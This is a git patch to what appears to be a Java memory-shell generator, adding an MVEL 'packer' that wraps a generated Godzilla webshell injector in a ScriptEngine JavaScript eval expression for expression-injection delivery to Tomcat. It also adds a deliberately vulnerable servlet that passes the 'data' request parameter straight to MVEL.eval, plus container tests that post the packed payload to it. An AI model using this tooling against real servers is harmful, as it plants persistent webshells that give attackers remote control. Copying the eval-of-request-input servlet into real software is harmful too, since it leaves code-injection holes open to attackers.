From 6fcf159d1f883408e331261310ef9d0f2d766780 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 29 Jan 2025 19:54:17 +0800 Subject: [PATCH] feat: support mvel packer --- .../com/reajason/javaweb/GeneratorMain.java | 5 +-- .../javaweb/memshell/packer/Packers.java | 2 ++ .../memshell/packer/mvel/MVELPacker.java | 33 +++++++++++++++++++ .../memshell/packer/ognl/OGNLPacker.java | 7 ++-- .../src/main/resources/MVELScriptEngine.txt | 1 + integration-test/build.gradle | 2 +- .../integration/ShellAssertionTool.java | 1 + .../tomcat/Tomcat8ContainerTest.java | 2 +- vul/vul-webapp-expression/build.gradle | 1 + .../src/main/java/MVELServlet.java | 19 +++++++++++ .../src/main/webapp/WEB-INF/web.xml | 9 +++++ 11 files changed, 74 insertions(+), 8 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java create mode 100644 generator/src/main/resources/MVELScriptEngine.txt create mode 100644 vul/vul-webapp-expression/src/main/java/MVELServlet.java diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index 6f768b7a..2fc85b8b 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -20,9 +20,9 @@ public class GeneratorMain { public static void main(String[] args) throws IOException { ShellConfig shellConfig = ShellConfig.builder() - .server(Server.SpringWebFlux) + .server(Server.Tomcat) .shellTool(ShellTool.Godzilla) - .shellType(SpringWebFluxShell.NETTY_HANDLER) + .shellType(Constants.FILTER) .targetJreVersion(Opcodes.V1_8) .debug(true) .build(); @@ -45,6 +45,7 @@ public class GeneratorMain { // Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); // Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes())); + System.out.println(Packers.MVEL.getInstance().pack(generateResult)); // Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult)); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java index 2d8d3ff8..666ab640 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java @@ -11,6 +11,7 @@ import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker; import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker; import com.reajason.javaweb.memshell.packer.jsp.JspPacker; import com.reajason.javaweb.memshell.packer.jsp.JspxPacker; +import com.reajason.javaweb.memshell.packer.mvel.MVELPacker; import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker; import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; import com.reajason.javaweb.memshell.packer.spel.SpELPacker; @@ -67,6 +68,7 @@ public enum Packers { EL(new ELPacker()), OGNL(new OGNLPacker()), + MVEL(new MVELPacker()), SpEL(new SpELPacker()), SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class), diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java new file mode 100644 index 00000000..5433c54c --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java @@ -0,0 +1,33 @@ +package com.reajason.javaweb.memshell.packer.mvel; + +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; +import org.apache.commons.io.IOUtils; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2025/1/29 + */ +public class MVELPacker implements Packer { + String template = ""; + + public MVELPacker() { + try { + template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/MVELScriptEngine.txt")), Charset.defaultCharset()); + } catch (IOException ignored) { + + } + } + + @Override + public String pack(GenerateResult generateResult) { + String script = Packers.ScriptEngine.getInstance().pack(generateResult); + return template.replace("{{script}}", script); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java index 5c5d2c10..6f4c04e7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java @@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.packer.ognl; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; +import com.reajason.javaweb.memshell.packer.Packers; import org.apache.commons.io.IOUtils; import java.io.IOException; @@ -14,12 +14,11 @@ import java.util.Objects; * @since 2024/12/14 */ public class OGNLPacker implements Packer { - ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); String template = ""; public OGNLPacker() { try { - template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset()); + template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OGNLScriptEngine.txt")), Charset.defaultCharset()); } catch (IOException ignored) { } @@ -27,7 +26,7 @@ public class OGNLPacker implements Packer { @Override public String pack(GenerateResult generateResult) { - String script = scriptEnginePacker.pack(generateResult); + String script = Packers.ScriptEngine.getInstance().pack(generateResult); return template.replace("{{script}}", script); } } diff --git a/generator/src/main/resources/MVELScriptEngine.txt b/generator/src/main/resources/MVELScriptEngine.txt new file mode 100644 index 00000000..b0cf1752 --- /dev/null +++ b/generator/src/main/resources/MVELScriptEngine.txt @@ -0,0 +1 @@ +new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}') \ No newline at end of file diff --git a/integration-test/build.gradle b/integration-test/build.gradle index c82a00ba..1036df33 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -21,7 +21,7 @@ dependencies { testImplementation 'org.java-websocket:Java-WebSocket' testImplementation 'com.squareup.okhttp3:okhttp' testImplementation 'com.alibaba.fastjson2:fastjson2' - + testImplementation 'org.slf4j:slf4j-simple:2.0.16' testImplementation platform('org.junit:junit-bom') testRuntimeOnly 'org.junit.platform:junit-platform-launcher' diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 0050e3c4..ac32fa6c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -146,6 +146,7 @@ public class ShellAssertionTool { case EL -> VulTool.postData(url + "/el", content); case SpEL -> VulTool.postData(url + "/spel", content); case OGNL -> VulTool.postData(url + "/ognl", content); + case MVEL -> VulTool.postData(url + "/mvel", content); case Freemarker -> VulTool.postData(url + "/freemarker", content); case Velocity -> VulTool.postData(url + "/velocity", content); case Deserialize -> VulTool.postData(url + "/java_deserialize", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index c5d1a5c5..d8a2d0f7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -32,7 +32,6 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; public class Tomcat8ContainerTest { public static final String imageName = "tomcat:8-jre8"; - @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war") @@ -82,6 +81,7 @@ public class Tomcat8ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.EL), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.OGNL), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.SpEL), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.MVEL), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Freemarker), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Velocity), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), diff --git a/vul/vul-webapp-expression/build.gradle b/vul/vul-webapp-expression/build.gradle index 186edc0b..483a9012 100644 --- a/vul/vul-webapp-expression/build.gradle +++ b/vul/vul-webapp-expression/build.gradle @@ -21,6 +21,7 @@ dependencies { implementation 'commons-io:commons-io:2.+' implementation 'org.apache.velocity:velocity:1.7' implementation 'ognl:ognl:2.7.3' + implementation 'org.mvel:mvel2:2.4.7.Final' implementation 'org.springframework:spring-expression:4.3.0.RELEASE' providedCompile 'de.odysseus.juel:juel-api:2.2.7' providedCompile "javax.servlet:servlet-api:2.5" diff --git a/vul/vul-webapp-expression/src/main/java/MVELServlet.java b/vul/vul-webapp-expression/src/main/java/MVELServlet.java new file mode 100644 index 00000000..2daff4fa --- /dev/null +++ b/vul/vul-webapp-expression/src/main/java/MVELServlet.java @@ -0,0 +1,19 @@ +import org.mvel2.MVEL; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class MVELServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + resp.getWriter().println(MVEL.eval(data)); + } +} diff --git a/vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml index de56e901..cf2215dc 100644 --- a/vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml +++ b/vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml @@ -72,6 +72,15 @@ /ognl + + mvel + MVELServlet + + + mvel + /mvel + + velocity VelocityServlet